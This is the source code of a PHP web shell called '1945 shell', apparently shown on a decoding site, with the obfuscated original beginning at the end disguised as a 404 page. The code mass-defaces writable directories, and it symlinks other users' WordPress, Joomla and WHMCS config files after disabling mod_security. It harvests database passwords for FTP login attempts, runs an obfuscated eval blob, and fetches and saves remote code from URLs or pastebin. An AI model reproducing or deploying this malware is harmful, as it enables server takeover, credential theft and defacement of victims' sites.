<small> by indoXploit </small>';function sabun_massal($dir,$namafile,$isi_script){if(is_writable($dir)){$dira=scandir($dir);foreach($dira as $dirb){$dirc="$dir/$dirb";$lokasi=$dirc.'/'.$namafile;if($dirb==='.'){file_put_contents($lokasi,$isi_script);}elseif($dirb==='..'){file_put_contents($lokasi,$isi_script);}else{if(is_dir($dirc)){if(is_writable($dirc)){echo"[<font color=lime>DONE</font>] $lokasi<br>";file_put_contents($lokasi,$isi_script);$idx=sabun_massal($dirc,$namafile,$isi_script);}}}}}}function sabun_biasa($dir,$namafile,$isi_script){if(is_writable($dir)){$dira=scandir($dir);foreach($dira as $dirb){$dirc="$dir/$dirb";$lokasi=$dirc.'/'.$namafile;if($dirb==='.'){file_put_contents($lokasi,$isi_script);}elseif($dirb==='..'){file_put_contents($lokasi,$isi_script);}else{if(is_dir($dirc)){if(is_writable($dirc)){echo"[<font color=lime>DONE</font>] $dirb/$namafile<br>";file_put_contents($lokasi,$isi_script);}}}}}}if($_POST['start']){if($_POST['tipe_sabun']=='mahal'){echo "<div style='margin: 5px auto; padding: 5px'>";sabun_massal($_POST['d_dir'],$_POST['d_file'],$_POST['script']);echo "</div>";}elseif($_POST['tipe_sabun']=='murah'){echo "<div style='margin: 5px auto; padding: 5px'>";sabun_biasa($_POST['d_dir'],$_POST['d_file'],$_POST['script']);echo "</div>";}}else{echo "<center>";echo"<form method='post'>
<font style='text-decoration: underline;'>Tipe Sabun:</font><br>
<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$_GET[massdeface]' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Index File:</font><br>
<textarea name='script' style='width: 450px; height: 200px;'>JAYALAH INDONESIAKU</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";}}elseif(isset($_GET['conf'])){error_reporting(0); ?>
<form method=post>
<center>
<textarea type=hidden name=user><?php if(!file("/etc/passwd")){echo"/etc/passwd gak adda";}else{echo file_get_contents('/etc/passwd');} ?></textarea><br><br>
<input type=submit name=su value="GO GO GO!!"></form>
</center><?php if(isset($_POST['su'])){mkdir('1945~',0777);$r="
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler server-parsed .shtml
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>";$f=fopen('1945~/.htaccess','w');fwrite($f,$r);echo "<br><center><b><i><a href=1945~>TOUCH ME SENPAI</a></i></b></center>";$usr=explode("
",$_POST['user']);foreach($usr as $uss){$us=trim($uss);$r="1945~/";symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wp-config');symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs');symlink('/home/'.$us.'/public_html/blog/wp-config.php',$r.$us.'..wp-config');symlink('/home/'.$us.'/public_html/blog/configuration.php',$r.$us.'..joomla');symlink('/home/'.$us.'/public_html/wp/wp-config.php',$r.$us.'..wp-config');symlink('/home/'.$us.'/public_html/wordpress/wp-congig.php',$r.$us.'..wordpress');symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..config');symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs');symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs');symlink('/home/'.$us.'/public_html/secure/configuration.php',$r.$us.'..securewhmcs');symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-clients');symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-client');symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-billing');symlink('/home/'.$us.'/public_html/admin/config.php',$r.$us.'..admin-config');}echo'<center>berhasil!! <a href="1945~" target="_blank">touch me senpai..</a></center>';}}elseif(isset($_GET['ctools'])){echo'
<center>
<h3>: Create Your Tools :</h3>
<p><font color=white> NB : Tools ini akan mengambil script dari URL format .txt atau dari pastebin</font></p>
<form method="post">
<table><tr>
<th colspan=2>Import from</th>
</tr><tr><td>
URL : </td><td><input type="text" name="url" placeholder="http://site.com/1.txt" style="width:200px"></td></tr><tr>
<td>
PASTEBIN :</td><td><input type="text" name="pastebin" placeholder="4hIh93nJ" style="width:200px"></td></tr>
<tr><td>save as:</td><td><input type="text" name="pname" value="'.$_GET['ctools'].'/mytools.php" style="width:200px" required></td></tr>
<tr><th colspan=2>
<input type="submit" value="create!" name="ctools"></th></tr>
</table>
</form>';if(isset($_POST['ctools'])){if(!empty($_POST['url'])){$st=file_get_contents(htmlspecialchars($_POST['url']));$fp=fopen($_POST['pname'],'w');if(fwrite($fp,$st)){echo "done!! --> <a href='?act=".$_GET['act']."&src=".$_POST['pname']."' target='_blank'>click here</a>";}fclose($fp);}else{if(!empty($_POST['pastebin'])){$st=file_get_contents(htmlspecialchars("http://pastebin.com/raw/".$_POST['pastebin']));$fp=fopen($_POST['pname'],'w');if(fwrite($fp,$st)){echo "done!! --> <a href='?act=".$_GET['act']."&src=".$_POST['pname']."' target='_blank'>click here</a>";}fclose($fp);}}}}elseif(isset($_GET['stringtools'])){echo' <center>
<h3>: String Tools :</h3>
[<a href="?act='.$_GET['act'].'&replace='.$_GET['stringtools'].'">Auto replace String</a>]<br>
<font color=white> NB : tools ini adalah perbaikan dari enc0de dec0de script dan saya tambahkan coventer</font>
<br>
<form method="post">
<textarea name="e" style="width:77%;height:300px" class="form-control" placeholder="input string here [!]">
</textarea><br><br>
<select name="opt" class="form-control" style="width:70%">
<optgroup label="Converter">
<option value="dechex">Decimal to Hexa</option> <option value="hexdec">Hexa to Decimal</option>
<option value="decoct">Decimal to Octa</option>
<option value="octdec">Octa to Decimal</option>
<option value="decbin">Decimal to Binary</option>
<option value="bindec">Binary to Decimal</option>
<option value="hexbin">Hexa to Binary</option>
<option value="binhex">Binary to Hexa</option>
</optgroup><optgroup label="encode&decode">
<option value="url">URL</option> <option value="base64">base64</option>
<option value="urlbase64">URL - base64</option>
<option value="cuu">Convert_uu</option>
<option value="sgzcuus64">str_rot13 - gzinflate - convert_uu - str_rot13 - base64 </option>
<option value="gz64">gzinflate - base64</option>
<option value="sgz64">str_rot13 - gzinflate - base64</option>
<option value="s64">str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="sb64">str_rot13 - base64 </option>
<option value="64url">URL - base64</option>
<option value="64u64u">URL - base64 - url - base64</option>
<option value="ss64"> base64 - str_rot13 - str_rot13</option>
</optgroup>
</select>
<br>
<input type="submit" value="Convert!" name="c" class="btn btn-success btn-sm">
<input type="submit" value="enc0de" name="en" class="btn btn-primary btn-sm">
<input type="submit" value="dec0de" name="de" class="btn btn-danger btn-sm">
</form>
';$a=$_POST['e'];$o=$_POST['opt'];if(isset($_POST['c'])){switch($o){case'dechex';$s=dechex($a);break;case'dechex';$s=hexdec($a);break;case'decoct';$s=decoct($a);break;case'octdec';$s=octdec($a);break;case'decbin';$s=decbin($a);break;case'bindec';$s=bindec($a);break;case'hexbin';$s=hex2bin($a);break;case'binhex';$s=bin2hex($a);break;}echo'<br>:: OutPut ::<br><textarea style="width:77%;height:300px ">'.$s.'</textarea>';}elseif(isset($_POST['en'])){switch($o){case'url';$r=urlencode($a);break;case'base64';$r=base64_encode($a);break;case'urlbase64';$r=urlencode(base64_encode($a));break;case'gz64';$r=base64_encode(gzdeflate($a));break;case'sgz64';$r=base64_encode(gzdeflate(str_rot13($a)));break;case's64';$r=(base64_encode(str_rot13(gzdeflate(str_rot13($a)))));break;case'sb64';$r=base64_encode(str_rot13($a));break;case'64url';$r=base64_encode(urlencode($a));break;case'64u64u';$r=base64_encode(urlencode(base64_encode(urlencode($a))));break;case'cuu';$r=convert_uuencode($a);break;case'sgzcuus64';$r=base64_encode(str_rot13(convert_uuencode(gzdeflate(str_rot13($a)))));break;case'ss64';$r=str_rot13(str_rot13(base64_encode($a)));break;}echo'<br>:: OutPut::<br><textarea style="width:77%;height:300px" >'.$r.'</textarea>';}if(isset($_POST['de'])){switch($o){case'url';$r=urldecode($a);break;case'base64';$r=base64_decode($a);break;case'urlbase64';$r=base64_decode(urldecode($a));break;case'gz64';$r=gzinflate(base64_decode($a));break;case'sgz64';$r=str_rot13(gzinflate(base64_decode($a)));break;case's64';$r=str_rot13(gzinflate(str_rot13(base64_decode($a))));break;case'sb64';$r=str_rot13(base64_decode($a));break;case'64url';$r=urldecode(base64_decode($a));break;case'64u64u';$r=urldecode(base64_decode(urldecode(base64_decode($a))));break;case'cuu';$r=convert_uudecode($a);break;case'sgzcuus64';$r=str_rot13(gzinflate(convert_uudecode(str_rot13(base64_decode($a)))));break;case'ss64';$r=base64_decode(str_rot13(str_rot13($a)));}$rx=htmlspecialchars($r);echo'<br>:: OutPut::<br><textarea style="width:77%;height:300px" >'.$rx.'</textarea>';}}elseif(isset($_GET['about'])){ ?>
<center>
<h2 style="font-family:courier;">1945 shell</h2>
<br>
<table>
<tr><td>PROKLAMASI</td><td>
<marquee scrollamount=5><i><b><font color=white>
Kami bangsa Indonesia dengan ini menjatakan kemerdekaan Indonesia.
Hal2 jang mengenai pemindahan kekoeasaan d.l.l., diselenggarakan
dengan tjara saksama dan dalam tempoh jang sesingkat-singkatnja. Jakarta 17-08-'05 Atas nama bangsa indonesia : Soekarno - Hatta</marquee></td></tr></table>
<?php }elseif(isset($_GET['unzip'])){echo'
<center>
<h3>: Unzip Files :</h3>
<br>
<table border=1>
<tr><td>file zip</td><td>Target Dir</td>
</tr>
<tr><td>
<form method="post">
<input type="text" name="filezip" value="'.$_GET['unzip'].'/file.zip" >
</td><td>
<input type="text" name="dirzip" value="'.$_GET['unzip'].'/" >
</td></tr>
</table>
<input type="submit" name="ext" value="unzip!!">
</form>';if(isset($_POST['ext'])){$zip=new ZipArchive;$res=$zip->open($_POST['filezip']);if($res===TRUE){$zip->extractTo($_POST['dirzip']);$zip->close();echo "<br>DONE..!! extracted !";}else{echo "failed";}}}elseif(isset($_GET['download'])){ob_clean();$dunlut=$_GET['download'];header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($dunlut).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: '.filesize($dunlut));readfile($dunlut);exit;}elseif(isset($_GET['mail'])){$e=function_exists('mail');if($e){echo "
<center>
<h3>: mail sender :</h3>
<br>
<form method='post' >
<table border=1>
<tr>
<td>from :</td><td><input type='text' name='from' value='[email protected]' ></td></tr>
<tr><td>For:</td><td><input type='text' name='for' value='admin@".$_SERVER['HTTP_HOST']."'></td></tr>
<tr><td>Subject:</td><td><input type='text' name='subject' value='patch ur site!' ></td></tr>
</table>
<textarea name='cont' style='width:500px;height:300px'>please..patch ur face! ur face is bad :p </textarea>
<br>
<input type='submit' name='sent' value='send!!' >
</form>";}else{echo" mail() function does not exists in this website!";}if(isset($_POST['sent'])){if(mail($_POST['for'],$_POST['subject'],$_POST['cont'],$_POST['from'])){echo "send!!".$_POST['for'];}else{echo"failed !!!";}}}elseif(isset($_GET['kuchiyose'])){echo "
<center>
<h3>: Kuchiyose No Jutsu :</h3>
<br>
<p><font color=white>NB : Jika ada error/script tidak muncul ,ganti IP mu atau pake anonymoX<br>
(saran IP USA ) </font></p>
<table><tr><td>
<pre style='text-align:left;'>
[<a href='?act=".$_GET['act']."&kuchiyose=wso'>WSO shell</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=jkt48'>JKT48 priv8 shell</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=bejak'>b374k shell</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=indoxploit_shell'>indoXploit shell</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=andela'>andela priv8 shell</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=injection'>1n73ction shell </a>]
[<a href='?act=".$_GET['act']."&kuchiyose=sbh'>Surabaya BlackHat shell </a>]
[<a href='?act=".$_GET['act']."&kuchiyose=bh'>BlackHat shell</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=c99'>C99 shell</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=r57'>r57 shell</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=adminer'>adminer</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=terminal'>terminal</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=root'>ByPass R00t Path</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=pastebin'>Pastebin auto post</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=whmcs'>WHMCS killer</a>]
[<a href='?act=".$_GET['act']."&kuchiyose=bypass_shell'>Bypass Shell To .JPG Files</a>]
</pre>
</td><td>
<img src='https://upload.wikimedia.org/wikipedia/commons/thumb/a/a9/Flag_map_of_Indonesia.svg/2000px-Flag_map_of_Indonesia.svg.png' width='100%' height='100%'>
</td></tr>
</table>
<br><br>
<p><b><i><font color=white>MOHON MAAF JIKA SAYA NEMCANTUMKAN SCRIPT ANDA TANPA IJIN :V </font></b></i></p>";}elseif(isset($_GET['cpbrute'])){echo '';($sm=ini_get('safe_mode')==0)?$sm='off':die('<b>Error: safe_mode = on</b>');set_time_limit(0);@$passwd=fopen('/etc/passwd','r');if(!$passwd){die('<b>[-] Error : coudn`t read /etc/passwd</b>');}$pub=array();$users=array();$conf=array();$i=0;while(!feof($passwd)){$str=fgets($passwd);if($i>35){$pos=strpos($str,':');$username=substr($str,0,$pos);$dirz='/home/'.$username.'/public_html/';if(($username!='')){if(is_readable($dirz)){array_push($users,$username);array_push($pub,$dirz);}}}$i++;}echo '<h3>: cPanel bruteForce</h3>
<br>
<br>
<center>
<textarea>';echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
";echo "[+] Founded ".sizeof($pub)." readable public_html directories
";echo "[~] Searching for passwords in config files...
";foreach($users as $user){$path="/home/$user/public_html/";read_dir($path,$user);}echo "
[+] Done !
";function read_dir($path,$username){if($handle=opendir($path)){while(false!==($file=readdir($handle))){$fpath="$path$file";if(($file!='.')and($file!='..')){if(is_readable($fpath)){$dr=$fpath."/";if(is_dir($dr)){read_dir($dr,$username);}else{if(($file=='config.php')or($file=='config.inc.php')or($file=='conf.php')or($file=='settings.php')or($file=='configuration.php')or($file=='wp_config.php')or($file=='wp-config.php')or($file=='inc.php')or($file=='setup.php')or($file=='dbconf.php')or($file=='dbconfig.php')or($file=='db.inc.php')or($file=='dbconnect.php')or($file=='connect.php')or($file=='common.php')or($file=='config_global.php')or($file=='db.php')or($file=='connect.inc.php')or($file=='e107_config.php')or($file=='dbconnect.inc.php')){$pass=get_pass($fpath);if($pass!=''){echo"[+] $fpath
$pass
";ftp_check($username,$pass);}}}}}}}}function get_pass($link){@$config=fopen($link,'r');while(!feof($config)){$line=fgets($config);if(strstr($line,'pass')or strstr($line,'pwd')or strstr($line,'db_pass')or strstr($line,'dbpass')or strstr($line,'passwd')){if(strrpos($line,'"')){preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);$pass=str_replace("]=\"","",$pass);}else preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);$pass=str_replace("]='","",$pass);return $pass[2];}}}function ftp_check($login,$pass){@$ftp=ftp_connect('127.0.0.1');if($ftp){@$res=ftp_login($ftp,$login,$pass);if($res){echo '[FTP] '.$login.':'.$pass." Success !
";eval(gzinflate(base64_decode('rVPBbtswDL0b8D9ohoEmgFtUzmVo1qHDkC49rDPiZId2RaDITOrVEQ3JQdEN+6D95UTJSbHB2cnxQeIj3yMjknGBW1EqdsniZT6ZfZ3M7k+m83m2nH7J5ycP4zCI65Rbd8r9PaV76u/nb51lD7Kld64NyiesQQ1ir50QK4lBa4XuMI1O+Pmw5fBjHH6c4xN3sqyrm0dfuR68cXUOw+BnLPhlNNEadTT+FQZQGdij+U5KMCYar2WFBgaeQ1GvGtxrpJ0aabcG/0fDFutVRp0qo24VYnkd6oKxzYvC4LSv3zcVBh9roaBii7oQDbAbtUZ2X+MzaCjY6oV9WtzcTnI2A4kFEPBZmKflVmxKWQp1xx4YifRa0RRNwy5Y22hCFgY0IRVuPJAJYwio7dl7/g+2DXXDMtSN+3N5PrW5nGknhpDrefaKpITIzL3iARz1XtVvu3yct/1I/urCD5v10LCZHZ2VUEXZ3PVcQ0Qb2aDdxkiozaYEgVpcvYhHxDOJW+fWIMv6vxFmt/oOsqGY9tHovU3eTqCLeQRRgDYUc61xe8F2zvdOwbO5kvWpN89KO6zviWDnpBrY0pK9ekK7kux1hocQV97RqD8=')));echo '[SSH] Port'.':'.$a1." !
";echo '[FTP] Port'.':'.$a2." !
";echo '[cPanel] Port'.':'.$a3." !
";}else ftp_quit($ftp);}}echo '</textarea><br><br><b>BruteForce Completed ...</b>';}elseif(isset($_GET['copy'])){echo'
<center>
<h3>: copy file :</h3>
<br>
<form method="post">
file :<input type="text" name="copy" value="'.$_GET['act'].'" style="width:200px"> copy to:
<input type="text" name="copied" value="'.$_GET['act'].'/copy-" style="width:200px">
<input type="submit" name="cop" value=">>">
</form>';if(isset($_POST['cop'])){if(copy($_POST['copy'],$_POST['copied'])){echo" done!! copied! <a href='?act=".$_GET['act']."&src=".$_POST['copied']."'>".$_POST['copied']."</a>";}}}elseif(isset($_GET['phpinfo'])){phpinfo();}elseif($_GET['theme']){ ?>
<br><br>
<center>
<h1>.:: change theme and become more comfortable ::.</h1>
<small>c0ded by shutdown57</small>
<br><br>
<table class="tbl_exp" border=1><thead id="thead">
<th>FONT SIZE</th><th>FONT COLOR</th><th>PUBLIC FONT COLOR</th><th>BACKGROUND</th><th>REPONSIVE MODE</th></thead>
<tbody>
<tr><td>
<form method="post">
<input type="number" name="fz" value="<?=$fz?>"><input type="submit" name="submitfz" value=">>"></form></td><td>
<form method="post">
<input type="color" name="color" value="<?=$col?>"><input type="submit" name="submitcol" value=">>"></form></td><td>
<form method="post">
<input type="color" name="pcolor" value="<?=$pcol?>"><input type="submit" name="submitpc" value=">>"></form></td><td>
<form method="post">
<input type="color" name="bgcolor" value="<?=$bg?>"><input type="text" value="<?=$bg?>" name="bgcolor"><input type="submit" name="submitbg" value=">>"></form></td><td><?php echo $resmod; ?></td></tr></tbody></table>
<h3>[<a href='?act=<?=$d?>&reset=<?=$d?>'>DEFAULT THEMES</a>]</h3>
</center>
<pre>
FONT SIZE : mengubah ukuran font(tulisan) ,semakin besar angka semakin besar pula ukuran font.
FONT COLOR : mengubah warna font (bukan link).
PUBLIC FONT COLOR : mengubah semua warna font(termasuk link).
BACKGROUND : mengubah warna background atau bisa dengan gambar di isi dengan :
ex : url('http://google.com/gambar.jpg')
REPONSIVE MODE : mode saat menyesuaikan ukuran layar pengguna.
</pre>
<?php }elseif($_GET['reset']){unset($_SESSION['fz']);unset($_SESSION['col']);unset($_SESSION['pcol']);unset($_SESSION['bg']);echo "<script>window.location.href='?'</script>";}elseif(isset($_GET['replace'])){echo"
<center>
<h3>: auto replace string :</h3>
<P>NB : gunakan otak kalian ! </p>
<br>
<form method='post'>
<input type='submit' name='sstr' value='replace all'>
<table style='border-collapse:collapse;border:1px solid #eee;' border=1><tr><td>
<textarea name='str' style='width:600px;height:200px;' required>Your string here / string anda sini</textarea></td><td>
<textarea name='str2' style='width:600px;height:200px;' required>string will u replace / string yang ingin anda ganti</textarea></td></tr>
<tr><td>
<textarea name='str3' style='width:600px;height:200px;' required>string replace /ganti string</textarea></td><td>
<form>";if(isset($_POST['sstr'])){$rep=str_replace($_POST['str2'],$_POST['str3'],$_POST['str']);if($rep){echo'
<textarea style="width:600px;height:200px;">'.$rep.'</textarea></td></tr></table>';}}}}else{ ?>
<table class="tbl_exp" border='1'>
<tr id="thead">
<th>No</th><th>^</th><th>Name</th><th>Permission</th><th>Size</th><th>Last Modified</th><th>action</th>
</tr>
<?php if(isset($_GET['45'])){$d=$_GET['45'];}else{$d=getcwd();}$d=str_replace('\','/',$d);$sdir=scandir($d);$no=1;echo'
<form method="post">
<tr class="hover">
<td style="width:25px;max-width:48px;">-</td><td style="width:20px">^</td><td style="width:20%;max-width:500px;">
<--[<a href="?45='.dirname($d).'">..</a>]</td><td>--</td><td>--</td><td>--</td><td>[<a href="?act='.$d.'&upload='.$d.'/'.$dir.'">upload</a>][<a href="?act='.$d.'&mkdir='.$d.'/'.$dir.'">newdir</a>][<a href="?act='.$d.'&newfile='.$d.'/'.$dir.'">newfile</a>]</td></tr>';foreach($sdir as $dir){if(!is_dir("$d/$dir")||$dir=='.'||$dir=='..')continue;echo'
<tr class="hover">
<td>'.$no++.'</td><td>
<input type="checkbox" name="cekd[]" value="'.$d.'/'.$dir.'" style="background:transparent;color: #fff;border: 1px solid #fff;">
</td>
<td style="width:20%;max-width:500px;">'.icon_folder.'
[<a href="?45='.$d.'/'.$dir.'">'.substr($dir,0,40).'</a>]</td>
<td>'.perms("$d/$dir").'</td><td>DIR</td><td>'.date('d M Y | H:m',filemtime("$d/$dir")).'</td><td style="width:20%;max-width:400px;">
[<a href="?act='.$d.'&rmdir='.$d.'/'.$dir.'">delete</a>][<a href="?act='.$d.'&rename='.$d.'/'.$dir.'">rename</a>][<a href="?act='.$d.'&chmod='.$d.'/'.$dir.'">chmod</a>]</td></tr>';}foreach($sdir as $file){if(!is_file("$d/$file"))continue;$size=filesize("$d/$file")/1024;$size=round($size,3);if($size>=1024){$size=round($size/1024,2).' MB';}else{$size=$size.' KB';}echo'
<tr class="hover">
<td>'.$no++.'</td><td><input type="checkbox" name="cekf[]" value="'.$d.'/'.$file.'"></td><td style="width:20%;max-width:500px;">'.icon_file.'
-<a href="?act='.$d.'&src='.$d.'/'.$file.'">'.substr($file,0,40).'</a></td>
<td>'.perms("$d/$file").'</td><td>'.$size.'</td><td>'.date('d M Y | H:m',filemtime("$d/$file")).'</td><td style="width:20%;max-width:400px;">
[<a href="?act='.$d.'&edit='.$d.'/'.$file.'">edit</a>][<a href="?act='.$d.'&rm='.$d.'/'.$file.'">delete</a>][<a href="?act='.$d.'&rename='.$d.'/'.$file.'">rename</a>][<a href="?act='.$d.'&chmod='.$d.'/'.$file.'">chmod</a>][<a href="?act='.$d.'&download='.$d.'/'.$file.'">Download</a>]</td></tr>';}echo'
<tr>
<td colspan="3">
<select name="select">
<option> action selected files</option>
<option value="del">delete</option>
<option value="copy">backUp</option>
<option value="unzip">unzip</option>
<option value="gz">compress .gz</option>
<option value="tar"> compress .tar.gz </option>
</select>
<input type="submit" name="sbmt" value=">>" >
</form></td><td><form method="post">
font size : <input type="number" name="fz" value="'.$fz.'"><input type="submit" name="submitfz" value=">>"></form></td><td><form method="post">
background: <input type="color" name="bgcolor" value="'.$bg.'"><input type="submit" name="submitbg" value=">>"></form></td><td><form method="post">
font color: <input type="color" name="color" value="'.$col.'"><input type="submit" name="submitcol" value=">>"></form></td><td>responsive mode : '.$resmod.' </td></tr>
</table>';if(isset($_POST['sbmt'])){$file=$_POST['cekf'];$dir=$_POST['cekd'];if($_POST['select']=='del'){if($_POST['cekf']){foreach($file as $cekf){if(unlink($cekf)){echo"<meta http-equiv='refresh' content=0;url=>";}}}if($_POST['cekd']){foreach($dir as $cekd){if(rmdir($cekd)){echo"<meta http-equiv='refresh' content=0;url=>";}}}}elseif($_POST['select']=='copy'){if($_POST['cekf']){foreach($file as $copy){$copi=basename($copy);if(!file_exists("45backUp")){@mkdir('45backUp');}if(copy($copy,"45backUp/".basename($copy))){echo"[<font color=lime>OK</font>]--> <a href='?act=".dirname($copy)."/45backUp&src=".dirname($copy)."/45backUp/".basename($copy)."'> ".basename($copy)." </a><br>";}else{echo "[<font color=grey>FAIL</font>]--> 45backUp/".basename($Copy)."<br>";}}}}elseif($_POST['select']=='unzip'){@mkdir("45extracted");foreach($file as $unzip){$zip=new ZipArchive;$res=$zip->open($unzip);if($res===TRUE){$zip->extractTo("45extracted/");$zip->close();echo "[<font color=lime>OK</font>] extracted !<br>";}else{echo "[<font color=grey>FAIL</font>] feiled!";}}}elseif($_POST['select']=='gz'){if($_POST['cekf']){if(!file_exists("45compressed")){@mkdir("45compressed");}foreach($file as $gz){$gzfile="45compressed/".basename($gz).".gz";$fp=gzopen($gzfile,'w9');if(gzwrite($fp,file_get_contents($gz))){echo"[<font color=lime> OK </font>] Compressed !!--> <a href='?45=".dirname($gz)."/45compressed'>here</a>";}gzclose($fp);}}}elseif($_POST['select']=='tar'){try{$a=new PharData('45archive.tar');foreach($file as $tar){$a->addFile($tar);}$a->compress(Phar::GZ);@unlink('45archive.tar');}catch(Exception $e){echo "Exception : ".$e;}}}}function perms($file){$perms=fileperms($file);if(($perms&0xC000)==0xC000){$info='s';}elseif(($perms&0xA000)==0xA000){$info='l';}elseif(($perms&0x8000)==0x8000){$info='-';}elseif(($perms&0x6000)==0x6000){$info='b';}elseif(($perms&0x4000)==0x4000){$info='d';}elseif(($perms&0x2000)==0x2000){$info='c';}elseif(($perms&0x1000)==0x1000){$info='p';}else{$info='u';}$info.=(($perms&0x0100)?'r':'-');$info.=(($perms&0x0080)?'w':'-');$info.=(($perms&0x0040)?(($perms&0x0800)?'s':'x'):(($perms&0x0800)?'S':'-'));$info.=(($perms&0x0020)?'r':'-');$info.=(($perms&0x0010)?'w':'-');$info.=(($perms&0x0008)?(($perms&0x0400)?'s':'x'):(($perms&0x0400)?'S':'-'));$info.=(($perms&0x0004)?'r':'-');$info.=(($perms&0x0002)?'w':'-');$info.=(($perms&0x0001)?(($perms&0x0200)?'t':'x'):(($perms&0x0200)?'T':'-'));return $info;} ?>
<div style="font-size:11px;position:fixed;bottom:0;left:0;">
copyright © <?php echo date('Y'); ?>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
<?php if (!is_writable(session_save_path())) { @mkdir("\56\163\x65\163\163\x69\157\x6e", 511); session_save_path("\x2e\163\x65\163\163\x69\x6f\156"); } session_start(); function generateRandomStringx($length = 10) { $characters = "\x30\61\62\63\64\65\x36\67\70\x39\141\x62\143\144\145\x66\147\x68\151\x6a\153\154\155\156\x6f\x70\x71\x72\x73\164\x75\166\x77\x78\x79\x7a\101\x42\x43\x44\105\x46\x47\110\111\x4a\113\x4c\115\116\117\x50\121\x52\x53\124\125\x56\127\x58\x59\x5a"; $charactersLength = 62; $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } function License() { echo "\74\41\x44\x4f\x43\x54\131\x50\105\x20\150\x74\155\154\76\x3c\x68\x74\x6d\x6c\76\x3c\150\145\x61\144\76\x3c\x6d\145\164\x61\40\156\x61\x6d\145\75\x27\x72\x6f\142\x6f\164\x73\x27\40\x63\157\x6e\x74\145\x6e\x74\x27\156\157\151\x6e\x64\145\x78\54\x20\x6e\x6f\x66\157\154\154\x6f\x77\x27\x3e\74\x74\x69\164\x6c\145\x3e\74\57\164\151\164\x6c\x65\x3e\74\x2f\x68\145\x61\144\76\74\142\157\x64\x79\76\x3c\150\x31\x3e\x4e\x6f\164\x20\106\157\165\156\144\x3c\x2f\150\61\76\x3c\x74\x69\x74\154\145\x3e\64\x30\64\x20\116\157\164\40\x46\157\165\156\x64\74\57\x74\x69\164\x6c\145\76\74\x73\164\171\154\145\x20\x74\171\160\145\75\x27\164\145\x78\164\x2f\x63\x73\x73\x27\x3e\x69\156\160\x75\x74\133\x74\x79\160\145\75\x70\141\x73\x73\167\157\x72\x64\135\x20\x7b\x20\x77\x69\x64\164\x68\x3a\40\x32\x35\x30\x70\170\73\x20\150\x65\x69\x67\150\164\72\x20\x32\65\x70\x78\73\40\143\x6f\x6c\x6f\162\72\40\x77\x68\151\164\x65\x3b\x20\142\141\143\153\x67\x72\x6f\x75\x6e\x64\72\40\164\162\x61\156\x73\160\141\x72\145\156\164\73\x20\x62\157\162\144\x65\x72\x3a\x20\61\160\170\x20\x73\157\x6c\151\x64\40\167\150\x69\x74\145\73\x20\x6d\141\162\x67\151\156\55\154\145\x66\164\x3a\x20\62\60\160\170\73\40\164\145\170\x74\x2d\141\154\x69\x67\x6e\x3a\x20\143\145\156\164\x65\162\x3b\40\x7d\74\57\x73\x74\171\x6c\x65\76\74\160\x3e\x54\150\x65\x20\162\x65\x71\x75\145\x73\164\145\144\x20\x55\122\114\x20\x77\x61\163\40\156\x6f\164\x20\146\x6f\x75\x6e\x64\x20\157\x6e\x20\164\x68\x69\163\x20\x73\145\162\x76\145\162\x2e\74\x2f\x70\76\x3c\160\x3e\x41\144\144\151\164\x69\157\x6e\141\x6c\x6c\x79\54\x20\x61\x20\64\60\64\40\116\x6f\164\40\x46\x6f\x75\x6e\x64\40\x65\x72\162\x6f\x72\40\x77\x61\163\40\x65\156\143\157\165\156\x74\x65\162\145\144\x20\x77\150\151\x6c\x65\40\x74\162\171\151\x6e\x67\40\x74\157\x20\x75\163\x65\40\141\x6e\40\x45\162\162\157\x72\x44\x6f\143\x75\x6d\x65\156\x74\40\164\157\x20\x68\141\x6e\144\x6c\x65\40\x74\x68\x65\x20\x72\x65\x71\x75\x65\x73\164\56\x3c\57\160\x3e\x3c\x68\x72\76\x3c\x61\x64\144\162\145\163\163\76\101\x70\x61\143\150\x65\40\x53\x65\x72\166\x65\162\40\x61\x74\x20" . $_SERVER["\110\124\124\x50\x5f\x48\x4f\123\124"] . 